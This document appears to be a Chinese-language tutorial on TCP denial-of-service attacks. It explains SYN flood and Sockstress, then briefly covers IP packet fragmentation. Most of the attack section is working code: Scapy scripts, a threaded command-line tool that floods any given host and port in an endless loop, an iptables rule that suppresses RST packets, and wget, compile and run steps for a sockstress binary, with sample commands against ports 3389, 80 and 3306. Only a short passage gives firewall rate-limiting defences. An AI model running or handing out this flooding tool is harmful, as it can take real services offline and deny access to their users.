SynFlood 洪水攻击
Syn-Flood攻击属于TCP攻击,Flood类攻击中最常见,危害最大的是Syn-Flood攻击,也是历史最悠久的攻击之一,该攻击属于半开放攻击,攻击实现原理就是通过发送大量半连接状态的数据包,从而耗尽目标系统的连接池,默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。windows 系统半开连接数是10个
攻击者伪造地址对服务器发起SYN请求,服务器就会回应 SYN+ACK 此时攻击者的主机拒绝发送 RST+ACK 那么,服务器接收不到RST请求,就会认为客户端还没有准备好,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。
虽然有丢弃的环节,但是如果攻击者的攻击速度大于目标主机的丢包速度的话,就会发生拒绝服务,因为TCP连接池一旦被填满,那么真正的连接无法建立,无法响应正常请求。
可以使用scapy工具进行验证,发送一个正常数据包,代码如下,发生攻击后再服务器上通过使用 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
匹配所有半开放链接,你可以看都非常多等待状态的连接得不到相应。
ip = IP()
ip.dst="192.168.1.10"
tcp=TCP()
sr1(ip/tcp,verbose=1,timeout=3)
sr1(IP(dst="192.168.1.10")/TCP())
攻击代码如下
#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
# windows 系统半开连接数是10个
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.1.10 -j DROP
# 匹配所有半开放链接 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
# ip = IP()
# ip.dst="192.168.1.10"
# tcp=TCP()
# sr1(ip/tcp,verbose=1,timeout=3)
# sr1(IP(dst="192.168.1.10")/TCP())
target = "192.168.1.20"
dstport = 22
isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isrc = "192.168.1.2"
print(isrc,dstport)
isport = random.randint(1,65535)
ip = IP(src = isrc,dst = target)
syn = TCP(sport = isport, dport = dstport, flags = 'S')
send(ip / syn, verbose = 0)
Sock Stress 全连接攻击
该攻击方式属于TCP全连接攻击,因为需要建立一次完整的TCP三次握手,该攻击的关键点就在于,攻击主机将windows窗口缓冲设置为0,实现的拒绝服务。
攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。
该攻击与目标建立大量的socket连接,并且都是完整连接,最后的ACK包,将Windows大小设置为0,客户端不接收数据,而服务器会认为客户端缓冲区没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机也可以拒绝高配的服务器。
#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
def sockstress(target,dstport):
xport = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
sockstress("192.168.1.20",80)
除了自己编写代码实现以外还可以下载一个项目 https://github.com/defuse/sockstress 该项目是发现这个漏洞的作者编写的利用工具,具体使用如下。
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻击主机IP -j DROP
wget https://www.blib.cn/sh/sockstress.c
git clone https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.1.10:3306 eth0
./sockstress 192.168.1.10:80 eth0 -p payloads/http
直到今天sockstress攻击仍然效果明显,由于攻击过程建立了完整的TCP三次握手,所以使用syn cookie防御无效,我们可以通过防火墙限制单位时间内每个IP建立的TCP连接数来阻止这种攻击的蔓延。
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
但是该方法依然我发防御DDOS拒绝服务的攻击,这种攻击只能拼机器拼资源了。
最后将前面两种攻击手段封装成一个,该代码只能在Linux系统下使用。
#coding=utf-8
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
semaphore.acquire() # 加锁
isport = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
print("[+] sendp --> {} {}".format(target,isport))
semaphore.release() # 释放锁
# 攻击目标主机TCP/IP半开放连接数,windows系统半开连接数是10个
def synflood(target,dstport):
semaphore.acquire() # 加锁
issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isport = random.randint(1,65535)
ip = IP(src = issrc,dst = target)
syn = TCP(sport = isport, dport = dstport, flags = 'S')
send(ip / syn, verbose = 0)
print("[+] sendp --> {} {}".format(target,isport))
semaphore.release() # 释放锁
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
(options,args) = parser.parse_args()
# 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
if options.types == "synflood" and options.host and options.port and options.thread:
semaphore = threading.Semaphore(options.thread)
while True:
t = threading.Thread(target=synflood,args=(options.host,options.port))
t.start()
elif options.types == "sockstress" and options.host and options.port and options.thread:
semaphore = threading.Semaphore(options.thread)
while True:
t = threading.Thread(target=sockstress,args=(options.host,options.port))
t.start()
else:
parser.print_help()
使用syn flood 攻击方式: python3 c.py --type=synflood -H 192.168.1.10 -p 3389 -t 100
使用sock并发攻击: python3 c.py --type=sockstress -H 192.168.1.10 -p 80 -t 100
以太网数据包分段
数据包的最大传输单位是1500,如果超过这个大小数据包将会分片传输,分片传输则需要设置传输ID号,以及ip.frag_offset
偏移值,当设置了偏移值的时候,系统默认根据ID号为单位对数据包进行分段接收,收到全部包时在进行组合,并传输给系统识别。
传输第一个数据包时会跟随有MAC头,上层包头等完整信息,传输后续包的时候默认只会保留IP头与数据段,在IP头保留 Fragment offset
说明这是一个分段传输。
下面以执行ping -l 5000 192.168.1.10
为例,向目标发送5000字节大小的数据包,5000/1480 = 3.37 也就会分四段进行传输。
如下图,可以看出每次发送的数据都是,Total Length: 1500
,而Fragment offset
则指定每一个数据包的实际偏移值,ID则是数据包的分组号。
最后一个数据包将会把剩下的数据进行传递,并开始差错校验,组合成最终的数据。